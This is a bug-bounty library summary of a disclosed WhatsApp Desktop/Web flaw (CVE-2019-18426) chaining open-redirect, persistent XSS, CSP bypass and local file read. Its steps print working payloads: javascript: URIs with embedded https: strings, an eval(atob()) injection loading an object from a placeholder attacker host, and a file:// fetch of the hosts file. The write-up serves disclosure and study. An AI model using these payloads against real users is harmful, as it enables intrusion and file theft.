# Critical Security Flaw Found in WhatsApp Desktop Platform Allowing Cybercriminals Read From The File System Access

Tampered rich-preview banners in WhatsApp messages enabled open-redirect, persistent XSS via javascript: URIs, CSP bypass, and local file read on Electron desktop apps.

- Payout: unconfirmed
- Severity: critical
- Program: Meta / Facebook
- Credited: Gal Weizman
- Disclosed: 2020-02-04
- CVE: CVE-2019-18426
- Write-up quality: 9/10
- Original: https://www.perimeterx.com/tech-blog/2020/whatsapp-fs-read-vuln-disclosure/
- Library page: https://bugbountylibrary.com/r/blog%3Aperimeterx-com-tech-blog-2020-whatsapp-fs-read-vuln-disclosure
- Tags: domain:desktop domain:web impact:data-leak kind:bounty platform:blog sev:critical tech:chromium tech:electron technique:chained technique:source-review vuln:info-disclosure vuln:open-redirect vuln:xss

**Target:** WhatsApp Web and Electron desktop clients (Windows/Mac)
**Root cause:** Rich preview banners are crafted client-side and trusted on receipt; link validation only checks the URI appears in the body, allowing javascript: URIs with an embedded https: string. Desktop apps run outdated Electron/Chromium 69 with missing object-src CSP.
**Steps:**
1. Open WhatsApp Web, breakpoint at `var t = e.id;` inside `return Promise.callSynchronously(function()`, inspect message metadata object `e`.
2. Set `e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)'` before send to inject persistent XSS.
3. Bypass CSP: payload `javascript:"https://facebook.com";eval(atob("<b64>"))` where b64 injects `<object data="https://attacker/payload.html"/>` into `hard_expire_time.innerHTML` since object-src is missing.
4. External iframe posts `JSON.stringify("open('https://facebook.com');alert('external payload');")` to top; XSS sets `onmessage=(e)=>{eval(JSON.parse(e.data))}` to execute in web.whatsapp.com context.
5. On Electron desktop, XSS runs; use `fetch('file:///C:/Windows/System32/drivers/etc/hosts')` to read local files.
**How found:** Started by tampering with message metadata object in WhatsApp Web to alter quoted reply text; then experimented with rich preview banner fields, tried javascript: URIs, noticed banner dropped, hypothesized https: scheme requirement, and bypassed with `javascript:"https://example.com";...`. Used CSP Evaluator to spot missing object-src, and checked userAgent on desktop to discover outdated Chromium 69.
**Exploitation:** Attacker crafts a message with a spoofed Facebook banner and a javascript: URI containing an https: string to pass validation; victim clicks the link, executing persistent XSS in WhatsApp Web/Electron context. CSP bypass via missing object-src loads external payload; on desktop, outdated Chromium 69 allows file:// fetch to read local filesystem and enables 1-day RCE chaining.
**Escalation:** Open-redirect -> persistent XSS -> CSP bypass via object-src -> Electron desktop context -> local file read and potential RCE via Chromium 69 1-days.
**Insight:** When client-side-crafted rich previews are trusted on receipt, test whether link validation only checks substring presence in body — embed a legitimate https: string inside a javascript: URI to satisfy it. Also check Electron apps' userAgent for stale Chromium versions and CSP for missing object-src to load external payloads.